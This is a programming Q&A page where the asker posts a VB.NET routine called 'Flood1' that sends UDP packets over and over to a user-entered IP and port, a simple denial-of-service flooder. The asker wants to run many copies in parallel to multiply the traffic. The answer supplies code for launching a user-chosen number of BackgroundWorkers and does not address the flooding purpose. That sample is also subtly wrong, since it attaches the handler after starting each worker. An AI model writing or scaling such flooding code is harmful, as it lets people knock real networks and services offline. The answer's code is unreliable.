Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 6145973
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 23, 20262026-05-23T18:52:28+00:00 2026-05-23T18:52:28+00:00

I have one Private sub that runs in a loop. I want the sub

  • 0

I have one Private sub that runs in a loop. I want the sub to run multiple times at once. For example the program runs, you press start; you run the program again and press start, again and again… the same program doing the job at once. now i just want one program do to it alone. But i would like it to be user defined. exp. run program. type in a text box 10. press start. and it works as if 10 of them work open working on the same thing.

I have seen another program made with vb.net 2010 and its what i use and do not know how to do it. so i am just wondering.

Private Sub Flood1(ByVal sender As Object, ByVal e As DoWorkEventArgs) Handles Flood.DoWork
    Dim IP As IPAddress = IPAddress.Parse(TextBox1.Text)
    Dim IPPort As New IPEndPoint(IP, Convert.ToInt32(TextBox2.Text))
    Dim PacketS As Byte() = New Byte(TextBox3.Text) {}
    Dim SocketN As Integer = Convert.ToInt32(TextBox4.Text)
    Do While Flooding = True
        For i = 0 To SocketN
            If Flooding = True Then
                Dim _Sock(i) As Socket
                _Sock(i) = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
                Try
                    _Sock(i).SendTo(PacketS, IPPort)
                    Threading.Thread.Sleep(500)
                Catch ex As Exception
                    Threading.Thread.Sleep(500)
                End Try
            Else
                Exit Do
            End If
        Next
    Loop
End Sub

Mostly want to have this work over and over at once by the users choice… kinda hoped not to use this code else might not get helped.

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-05-23T18:52:28+00:00Added an answer on May 23, 2026 at 6:52 pm

    You can use background worker for that.
    Once you know how many workers you want to do the job
    just create those many instances of background worker.
    Tell me if this is the answer you are looking for or not

    Sample Source Code

    Imports System.ComponentModel
    
    Module Module1
    
        Sub Main()
            Console.WriteLine("Please enter the worker count:")
            Dim workerCount As Integer = Console.ReadLine()
            For i As Int16 = 0 To workerCount
                Dim worker As BackgroundWorker = New BackgroundWorker
                worker.RunWorkerAsync(i + 1)
                AddHandler worker.DoWork, AddressOf Worker_DoWork
            Next
        End Sub
    
        Private Sub Worker_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs)
            Console.WriteLine(e.Argument.ToString())
        End Sub
    End Module
    
    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

I have a class that has two method in it, one calls a class
I have a windows form application that will open other forms, but will only
I have a group of RadioButtons in VB.NET. I would like to create one
I have a access 2007 report for which one of the fields returns a
I have an COM component that I am fixing at the moment that is
i would like to have two msg boxes yes/no. The first one for saving
This has got to be one of the most frustratingly stupid bugs I have
Ok, so I have an application that reads another processes memory. I initially had
Background information first: We are using a strongly-typed DataSet to manage transaction files. That
In order to take advantage of the spell checking ability of WPF textboxes, I

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.